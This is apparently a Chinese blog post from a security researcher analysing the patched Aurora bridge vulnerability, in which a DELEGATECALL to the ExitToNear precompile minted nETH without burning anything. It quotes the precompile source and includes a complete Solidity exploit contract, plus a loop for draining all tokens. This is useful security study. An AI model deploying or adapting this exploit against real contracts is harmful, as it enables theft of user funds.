Aurora 跨链桥销毁逻辑错误导致无ETH膨胀漏洞
langu_xyz

Aurora EVM 最初由 NEAR 内部开发,是 NEAR 生态系统的官方 EVM。它实现了与以太坊协议的 1:1 体验,包括采用 ETH 作为基础货币。除了基本范围之外,EVM 还允许进行额外的预编译。此类预编译使 EVM 能够与 NEAR 生态系统的其余部分进行交互。其中包括exitToNear和exitToEthereum(只能通过 NEP-141 到 ERC-20 合约访问)。

exitToNear、exitToEthereum预编译只能从 Aurora EVM 自部署的 NEP-141 映射 ERC-20 合约中调用。这些 ERC-20 合约是通过调用deploy_erc20_token函数来部署的。
https://doc.aurora.dev/evm/precompiles

其中Aurora EVM转移代币到Near或着以太坊是以下两个预编译地址:

0xe9217bc70b7ed1f598ddd3199e80b093fa71124f
将 ETH 或 NEP-141 映射的 ERC-20 代币作为 NEP-141 从 Aurora EVM 转移到 Near。

0xb0bd02f6a392af548bdf1cfaee5dfa0eefcc8eab
通过Rainbow Bridge将 ETH 或 NEP-141 映射的 ERC-20 代币从 Aurora EVM 转移到以太坊。

当flag是0x0时,Eth transfer

当flag是0x1时,Erc20 transfer

转移Erc20比转移Eth时,多了一步销毁的动作,这里将是问题的关键。

在上图代码转移Erc20代币前,会先销毁代币,逻辑上没有问题。接下来看下转移Eth时的逻辑。

exitToNear、exitToEthereum预编译的作用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
impl ExitToNear {
/// Exit to NEAR precompile address
///
/// Address: `0xe9217bc70b7ed1f598ddd3199e80b093fa71124f`
/// This address is computed as: `&keccak("exitToNear")[12..]`
pub const ADDRESS: Address =
super::make_address(0xe9217bc7, 0x0b7ed1f598ddd3199e80b093fa71124f);

pub fn new(current_account_id: AccountId) -> Self {
Self { current_account_id }
}
}

...

impl Precompile for ExitToNear {

...

let (nep141_address, args, exit_event) = match flag {
0x0 => {
// ETH transfer
//
// Input slice format:
// recipient_account_id (bytes) - the NEAR recipient account which will receive NEP-141 ETH tokens

if let Ok(dest_account) = AccountId::try_from(input) {
(
current_account_id,
// There is no way to inject json, given the encoding of both arguments
// as decimal and valid account id respectively.
format!(
r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"#,
dest_account,
context.apparent_value.as_u128()
),
events::ExitToNear {
sender: Address::new(context.caller),
erc20_address: events::ETH_ADDRESS,
dest: dest_account.to_string(),
amount: context.apparent_value,
},
)
} else {
return Err(ExitError::Other(Cow::from(
"ERR_INVALID_RECEIVER_ACCOUNT_ID",
)));
}

...

let transfer_promise = PromiseCreateArgs {
target_account_id: nep141_address,
method: "ft_transfer".to_string(),
args: args.as_bytes().to_vec(),
attached_balance: Yocto::new(1),
attached_gas: costs::FT_TRANSFER_GAS,
};

#[cfg(feature = "error_refund")]
let promise = PromiseArgs::Callback(PromiseWithCallbackArgs {
base: transfer_promise,
callback: refund_promise,
});
#[cfg(not(feature = "error_refund"))]
let promise = PromiseArgs::Create(transfer_promise);

let promise_log = Log {
address: Self::ADDRESS.raw(),
topics: Vec::new(),
data: promise.try_to_vec().unwrap(),
};
let exit_event_log = exit_event.encode();
let exit_event_log = Log {
address: Self::ADDRESS.raw(),
topics: exit_event_log.topics,
data: exit_event_log.data,
};

Ok(PrecompileOutput {
logs: vec![promise_log, exit_event_log],
..Default::default()
}
.into())

如果标志是0x0,将生成一个事件“ExitToNear”,记录这个出口的“sender”,“dest”和“amount”,然后返回包含事件信息的’ exit_event_log ‘。

这些日志以及执行期间的所有其他日志将由’ filter_promises_from_logs ‘检查。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
fn filter_promises_from_logs<T, P>(handler: &mut P, logs: T) -> Vec<ResultLog>
where
T: IntoIterator<Item = Log>,
P: PromiseHandler,
{
logs.into_iter()
.filter_map(|log| {
if log.address == ExitToNear::ADDRESS.raw()
|| log.address == ExitToEthereum::ADDRESS.raw()
{
if log.topics.is_empty() {
if let Ok(promise) = PromiseArgs::try_from_slice(&log.data) {
match promise {
PromiseArgs::Create(promise) => schedule_promise(handler, &promise),
PromiseArgs::Callback(promise) => {
let base_id = schedule_promise(handler, &promise.base);
schedule_promise_callback(handler, base_id, &promise.callback)
}
};
}

只要使用硬编码地址生成日志ExitTo(Near|Ethereum)::ADDRESS,log.data就会将其作为要安排的新承诺进行处理。

因为log在AUrora上的验证只需要满足“是否由内置合约地址生成”以及“msg.value是否大于0“即可通过验证。

第一个条件时天然达成的。

要达成第二个条件,在这里利用DELEGATECALL来代替CALL进行调用合约(Aurora只禁用了STATICCALL却没有禁用DELEGATECALL)。

DELEGATECALL与CALL的区别如下图

当使用DELEGATECALL调用时,msg.data/msg.value只会进行值传递,却不会变化拥有者。

所以这个漏洞的利用链就成熟了,如下:

1.    在Aurora上部署恶意合约,通过DELEGATECALL去调用ExitToNear(0xe9217bc70b7ed1f598ddd3199e80b093fa71124f内置合约地址)
2.    调用下述恶意代码,Aurora将被诱骗向Near上的调用方发送nETH,但是却不会销毁发起合约的代币,从而实现窃取
Exploit.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.8.7;

contract Exploit {
address payable private owner;

constructor() {
owner = payable(msg.sender);
}

function exploit(bytes memory recipient) public payable {
require(msg.sender == owner);

bytes memory input = abi.encodePacked("\x00", recipient);
uint input_size = 1 + recipient.length;

assembly {
let res := delegatecall(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, add(input, 32), input_size, 0, 32)
}

owner.transfer(msg.value);
}
}
3.    要保证恶意合约初始有部分余额,然后通过窃取-转回-再窃取的循环,指数爆炸,最终实现窃取所有代币

https://medium.com/immunefi/aurora-infinite-spend-bugfix-review-6m-payout-e635d24273d
https://pwning.mirror.xyz/CB4XUkbJVwPo7CaRwRmCApaP2DMjPQccW-NOcCwQlAs

  • Post title:Aurora 跨链桥销毁逻辑错误导致无ETH膨胀漏洞
  • Post author:langu_xyz
  • Create time:2022-11-25 21:00:00
  • Post link:https://blog.langu.xyz/Aurora 跨链桥销毁逻辑错误导致无ETH膨胀漏洞/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.